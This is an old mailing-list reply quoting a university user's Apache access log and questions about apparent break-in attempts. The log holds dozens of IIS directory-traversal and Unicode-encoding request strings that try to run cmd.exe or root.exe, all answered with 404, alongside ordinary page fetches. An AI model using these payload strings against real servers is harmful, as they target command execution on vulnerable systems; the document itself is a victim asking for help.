Re: Someone try to hack my machine?

From:
Date: 10/28/02 

Date: Mon, 28 Oct 2002 06:33:55 +0300

DX wrote:

> my Apache web server's log shows some one/people try to hack my machine (i
> believe). I pasted part of the output below. Do you agree somebody try to
> break into my machine? Everyday my log has hundreds of lines showing
> hackings from different ip addresses. My website is just a very small
> website mainly for myself and several other staffs, how come it attracts so
> many hackers? Why they keep doing this everyday? It looks my machine has
> not been broken into, why they keep sending the same command everyday: "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0", etc? What can i do to protect
> my computer? Will they break into my machine eventually? I change my
> machine to another IP address, but find out the second day my log contains
> the similar messages, and it looks like these hackers are sending out same
> commands to every IP address in our network. Please help me out. Thank you
> very much !!!
>
> P.S. (actually, if they use nmap program and test my machine they would very
> easily find out my is a Linux box, how come they keep probing my machine as
> if it's a windows machine? I am in one on the department here in University
> of California at Davis. Do you agree that these hackers are actually not
> aim at only my machine, and they are actually trying to break into any of
> the staff machine in the whole UC Davis network, and thus every machine is
> being probed and scanned daily? Is it usual that a web server's log to
> contain so many garbage everyday showing someone trying to hack into your
> machine?)
>
> 24.128.93.24 - - [24/Oct/2002:16:41:44 -0700] "GET
> /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.
> exe+c:\inetpub\scripts\script.exe HTTP/1.1" 404 306
> 218.16.154.64 - - [24/Oct/2002:18:20:57 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 218.16.154.64 - - [24/Oct/2002:18:20:58 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.16.154.64 - - [24/Oct/2002:18:20:58 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.16.154.64 - - [24/Oct/2002:18:20:59 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.16.154.64 - - [24/Oct/2002:18:20:59 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.16.154.64 - - [24/Oct/2002:18:20:59 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.16.154.64 - - [24/Oct/2002:18:21:00 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.16.154.64 - - [24/Oct/2002:18:21:00 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.16.154.64 - - [24/Oct/2002:18:21:01 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:21:01 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:21:02 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:21:02 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:21:02 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.16.154.64 - - [24/Oct/2002:18:21:03 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.16.154.64 - - [24/Oct/2002:18:21:03 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.16.154.64 - - [24/Oct/2002:18:21:04 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.16.154.64 - - [24/Oct/2002:18:53:10 -0700] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 218.16.154.64 - - [24/Oct/2002:18:53:10 -0700] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 274
> 218.16.154.64 - - [24/Oct/2002:18:53:11 -0700] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.16.154.64 - - [24/Oct/2002:18:53:11 -0700] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
> 218.16.154.64 - - [24/Oct/2002:18:53:12 -0700] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.16.154.64 - - [24/Oct/2002:18:53:12 -0700] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.16.154.64 - - [24/Oct/2002:18:53:13 -0700] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 315
> 218.16.154.64 - - [24/Oct/2002:18:53:14 -0700] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 404 331
> 218.16.154.64 - - [24/Oct/2002:18:53:14 -0700] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:53:15 -0700] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:53:15 -0700] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:53:16 -0700] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 218.16.154.64 - - [24/Oct/2002:18:53:16 -0700] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.16.154.64 - - [24/Oct/2002:18:53:17 -0700] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
> 218.16.154.64 - - [24/Oct/2002:18:53:17 -0700] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 218.16.154.64 - - [24/Oct/2002:18:53:18 -0700] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
> 169.237.13.58 - - [24/Oct/2002:22:13:34 -0700] "GET / HTTP/1.1" 200 11973
> 169.237.13.58 - - [24/Oct/2002:22:13:36 -0700] "GET /index_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:22:13:36 -0700] "GET
> /index_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:22:13:36 -0700] "GET
> /index_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 169.237.13.58 - - [24/Oct/2002:22:13:36 -0700] "GET
> /index_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:22:13:36 -0700] "GET
> /index_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:22:13:37 -0700] "GET
> /index_files/956435589157.jpe HTTP/1.1" 200 12709
> 169.237.13.58 - - [24/Oct/2002:22:13:36 -0700] "GET
> /index_files/959986823794.gif HTTP/1.1" 200 14530
> 169.237.13.58 - - [24/Oct/2002:22:13:42 -0700] "GET
> /index_files/956435636746.jpe HTTP/1.1" 200 12673
> 169.237.13.58 - - [24/Oct/2002:22:13:45 -0700] "GET
> /index_files/RC_LL_663366_330033.gif HTTP/1.1" 200 113
> 169.237.13.58 - - [24/Oct/2002:22:13:47 -0700] "GET
> /index_files/RC_LR_330033_330033.gif HTTP/1.1" 200 78
> 169.237.13.58 - - [24/Oct/2002:22:15:38 -0700] "GET /info.html HTTP/1.1" 200
> 14732
> 169.237.13.58 - - [24/Oct/2002:22:15:40 -0700] "GET
> /info_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:22:15:40 -0700] "GET /info_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:22:15:40 -0700] "GET
> /info_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:22:15:40 -0700] "GET
> /info_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 169.237.13.58 - - [24/Oct/2002:22:15:41 -0700] "GET
> /info_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:22:15:41 -0700] "GET
> /info_files/RC_LL_663366_330033.gif HTTP/1.1" 200 113
> 169.237.13.58 - - [24/Oct/2002:22:15:41 -0700] "GET
> /info_files/RC_LR_330033_330033.gif HTTP/1.1" 200 78
> 169.237.13.58 - - [24/Oct/2002:22:19:50 -0700] "GET /info.html HTTP/1.1" 304
> 0
> 169.237.13.58 - - [24/Oct/2002:22:19:50 -0700] "GET
> /info_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:19:50 -0700] "GET /info_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:19:50 -0700] "GET
> /info_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:19:51 -0700] "GET
> /info_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:19:51 -0700] "GET
> /info_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:19:51 -0700] "GET
> /info_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:19:51 -0700] "GET
> /info_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:19:52 -0700] "GET /index.html HTTP/1.1"
> 200 11971
> 169.237.13.58 - - [24/Oct/2002:22:25:18 -0700] "GET /index.html HTTP/1.1"
> 200 11971
> 169.237.13.58 - - [24/Oct/2002:22:25:19 -0700] "GET
> /index_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:19 -0700] "GET /index_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:19 -0700] "GET
> /index_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:19 -0700] "GET
> /index_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:19 -0700] "GET
> /index_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:20 -0700] "GET
> /index_files/959986823794.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:20 -0700] "GET
> /index_files/956435589157.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:20 -0700] "GET
> /index_files/956435636746.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:20 -0700] "GET
> /index_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:25:20 -0700] "GET
> /index_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:15 -0700] "GET /index.html HTTP/1.1"
> 200 11971
> 169.237.13.58 - - [24/Oct/2002:22:32:16 -0700] "GET /index_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:16 -0700] "GET
> /index_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:16 -0700] "GET
> /index_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:16 -0700] "GET
> /index_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:16 -0700] "GET
> /index_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:17 -0700] "GET
> /index_files/959986823794.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:17 -0700] "GET
> /index_files/956435589157.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:17 -0700] "GET
> /index_files/956435636746.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:17 -0700] "GET
> /index_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:32:17 -0700] "GET
> /index_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:13 -0700] "GET /index.html HTTP/1.1"
> 200 11971
> 169.237.13.58 - - [24/Oct/2002:22:37:15 -0700] "GET
> /index_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:15 -0700] "GET /index_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:15 -0700] "GET
> /index_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:15 -0700] "GET
> /index_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:15 -0700] "GET
> /index_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:15 -0700] "GET
> /index_files/959986823794.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:15 -0700] "GET
> /index_files/956435589157.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:16 -0700] "GET
> /index_files/956435636746.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:16 -0700] "GET
> /index_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:16 -0700] "GET
> /index_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:20 -0700] "GET
> /info_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:19 -0700] "GET /info.html HTTP/1.1" 200
> 14732
> 169.237.13.58 - - [24/Oct/2002:22:37:21 -0700] "GET /info_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:21 -0700] "GET
> /info_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:21 -0700] "GET
> /info_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:21 -0700] "GET
> /info_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:21 -0700] "GET
> /info_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:22 -0700] "GET
> /info_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:37:24 -0700] "GET /g1.html HTTP/1.1" 200
> 12943
> 169.237.13.58 - - [24/Oct/2002:22:37:25 -0700] "GET
> /g1_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:22:37:26 -0700] "GET /g1_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:22:37:26 -0700] "GET
> /g1_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 169.237.13.58 - - [24/Oct/2002:22:37:26 -0700] "GET
> /g1_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:22:37:26 -0700] "GET
> /g1_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:22:37:26 -0700] "GET
> /g1_files/959729108896.jpe HTTP/1.1" 200 2847
> 169.237.13.58 - - [24/Oct/2002:22:37:27 -0700] "GET
> /g1_files/959729250342.jpe HTTP/1.1" 200 3153
> 169.237.13.58 - - [24/Oct/2002:22:37:27 -0700] "GET
> /g1_files/959729164082.jpe HTTP/1.1" 200 3485
> 169.237.13.58 - - [24/Oct/2002:22:37:28 -0700] "GET
> /g1_files/959729220405.jpe HTTP/1.1" 200 2783
> 169.237.13.58 - - [24/Oct/2002:22:37:29 -0700] "GET
> /g1_files/959729282232.jpe HTTP/1.1" 200 2898
> 169.237.13.58 - - [24/Oct/2002:22:37:30 -0700] "GET
> /g1_files/959729407575.jpe HTTP/1.1" 200 3760
> 169.237.13.58 - - [24/Oct/2002:22:37:30 -0700] "GET
> /g1_files/959729323698.jpe HTTP/1.1" 200 3193
> 169.237.13.58 - - [24/Oct/2002:22:37:31 -0700] "GET
> /g1_files/959729438905.jpe HTTP/1.1" 200 3284
> 169.237.13.58 - - [24/Oct/2002:22:37:32 -0700] "GET
> /g1_files/RC_LL_663366_330033.gif HTTP/1.1" 200 113
> 169.237.13.58 - - [24/Oct/2002:22:37:32 -0700] "GET
> /g1_files/RC_LR_330033_330033.gif HTTP/1.1" 200 78
> 169.237.13.58 - - [24/Oct/2002:22:41:24 -0700] "GET /g1.html HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:25 -0700] "GET
> /g1_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:25 -0700] "GET /g1_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:25 -0700] "GET
> /g1_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:25 -0700] "GET
> /g1_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:25 -0700] "GET
> /g1_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:25 -0700] "GET
> /g1_files/959729108896.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:25 -0700] "GET
> /g1_files/959729164082.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/959729220405.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/959729250342.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/959729282232.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/959729407575.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/959729323698.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/959729438905.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:22:41:26 -0700] "GET
> /g1_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:37 -0700] "GET / HTTP/1.1" 200 11971
> 169.237.13.58 - - [24/Oct/2002:23:28:38 -0700] "GET
> /index_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET /index_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET
> /index_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET
> /index_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET
> /index_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET
> /index_files/959986823794.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET
> /index_files/956435589157.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET
> /index_files/956435636746.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:39 -0700] "GET
> /index_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:40 -0700] "GET
> /index_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:43 -0700] "GET /g3.html HTTP/1.1" 200
> 12761
> 169.237.13.58 - - [24/Oct/2002:23:28:44 -0700] "GET
> /g3_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:23:28:45 -0700] "GET
> /g3_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
> 169.237.13.58 - - [24/Oct/2002:23:28:45 -0700] "GET /g3_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:23:28:45 -0700] "GET
> /g3_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 200 142
> 169.237.13.58 - - [24/Oct/2002:23:28:45 -0700] "GET
> /g3_files/959717669164.gif HTTP/1.1" 200 2939
> 169.237.13.58 - - [24/Oct/2002:23:28:45 -0700] "GET
> /g3_files/959704112816.jpe HTTP/1.1" 200 3267
> 169.237.13.58 - - [24/Oct/2002:23:28:46 -0700] "GET
> /g3_files/959704145827.jpe HTTP/1.1" 200 2676
> 169.237.13.58 - - [24/Oct/2002:23:28:47 -0700] "GET
> /g3_files/959704172769.jpe HTTP/1.1" 200 2634
> 169.237.13.58 - - [24/Oct/2002:23:28:48 -0700] "GET
> /g3_files/959704198659.jpe HTTP/1.1" 200 2811
> 169.237.13.58 - - [24/Oct/2002:23:28:48 -0700] "GET
> /g3_files/959704224308.jpe HTTP/1.1" 200 2946
> 169.237.13.58 - - [24/Oct/2002:23:28:49 -0700] "GET
> /g3_files/959704344578.jpe HTTP/1.1" 200 3376
> 169.237.13.58 - - [24/Oct/2002:23:28:49 -0700] "GET
> /g3_files/959704257968.jpe HTTP/1.1" 200 3560
> 169.237.13.58 - - [24/Oct/2002:23:28:50 -0700] "GET
> /g3_files/959704288539.jpe HTTP/1.1" 200 2634
> 169.237.13.58 - - [24/Oct/2002:23:28:51 -0700] "GET
> /g3_files/RC_LL_663366_330033.gif HTTP/1.1" 200 113
> 169.237.13.58 - - [24/Oct/2002:23:28:51 -0700] "GET
> /g3_files/RC_LR_330033_330033.gif HTTP/1.1" 200 78
> 169.237.13.58 - - [24/Oct/2002:23:28:57 -0700] "GET /g1.html HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:57 -0700] "GET
> /g1_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:57 -0700] "GET /g1_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:58 -0700] "GET
> /g1_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:58 -0700] "GET
> /g1_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:58 -0700] "GET
> /g1_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:58 -0700] "GET
> /g1_files/959729108896.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:58 -0700] "GET
> /g1_files/959729220405.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:58 -0700] "GET
> /g1_files/959729164082.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:59 -0700] "GET
> /g1_files/959729250342.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:59 -0700] "GET
> /g1_files/959729407575.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:59 -0700] "GET
> /g1_files/959729282232.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:59 -0700] "GET
> /g1_files/959729323698.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:59 -0700] "GET
> /g1_files/959729438905.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:59 -0700] "GET
> /g1_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:28:59 -0700] "GET
> /g1_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:38:34 -0700] "GET /g1.html HTTP/1.1" 404
> 290
> 169.237.13.58 - - [24/Oct/2002:23:39:05 -0700] "GET /g1.html HTTP/1.1" 404
> 290
> 169.237.13.58 - - [24/Oct/2002:23:39:09 -0700] "GET /g1.html HTTP/1.1" 404
> 290
> 169.237.13.58 - - [24/Oct/2002:23:39:33 -0700] "GET /g1.html HTTP/1.1" 404
> 290
> 169.237.13.58 - - [24/Oct/2002:23:39:34 -0700] "GET /g1.html HTTP/1.1" 404
> 290
> 169.237.13.58 - - [24/Oct/2002:23:39:42 -0700] "GET /g1-temp.html HTTP/1.1"
> 200 12943
> 169.237.13.58 - - [24/Oct/2002:23:40:27 -0700] "GET /g1.html HTTP/1.1" 200
> 12127
> 169.237.13.58 - - [24/Oct/2002:23:40:28 -0700] "GET
> /g1_files/RC_UL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:28 -0700] "GET /g1_files/x.gif
> HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:28 -0700] "GET
> /g1_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/RC_UR_FFFF00_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/959717669164.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/959729108896.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/959729164082.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/959729220405.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/959729250342.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/959729407575.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:29 -0700] "GET
> /g1_files/959729282232.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:30 -0700] "GET
> /g1_files/959729323698.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:30 -0700] "GET
> /g1_files/959729438905.jpe HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:30 -0700] "GET
> /g1_files/RC_LR_330033_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:30 -0700] "GET
> /g1_files/RC_LL_663366_330033.gif HTTP/1.1" 304 0
> 169.237.13.58 - - [24/Oct/2002:23:40:32 -0700] "GET /Gallery1/21.html
> HTTP/1.1" 200 3881
> 169.237.13.58 - - [24/Oct/2002:23:40:33 -0700] "GET /Gallery1/wall.gif
> HTTP/1.1" 200 3443
> 169.237.13.58 - - [24/Oct/2002:23:40:34 -0700] "GET /Gallery1/21b.jpg
> HTTP/1.1" 200 22984
> 169.237.13.58 - - [24/Oct/2002:23:40:33 -0700] "GET /Gallery1/21a.JPG
> HTTP/1.1" 200 27399
> 169.237.13.58 - - [24/Oct/2002:23:40:42 -0700] "GET /Gallery1/27.html
> HTTP/1.1" 200 3842
> 169.237.13.58 - - [24/Oct/2002:23:40:43 -0700] "GET /Gallery1/Eagle1.jpg
> HTTP/1.1" 200 18958
> 169.237.13.58 - - [24/Oct/2002:23:40:44 -0700] "GET /Gallery1/eagle2.JPG
> HTTP/1.1" 200 20765
> 169.237.13.58 - - [24/Oct/2002:23:42:19 -0700] "GET / HTTP/1.1" 200 11971
> 169.237.13.58 - - [24/Oct/2002:23:42:21 -0700] "GET
> /index_files/RC_UL_663366_330033.gif HTTP/1.1" 200 115
> 169.237.13.58 - - [24/Oct/2002:23:42:21 -0700] "GET /index_files/x.gif
> HTTP/1.1" 200 49
> 169.237.13.58 - - [24/Oct/2002:23:42:21 -0700] "GET
> /index_files/RC_UR_663366_FFFF00.gif HTTP/1.1" 200 143
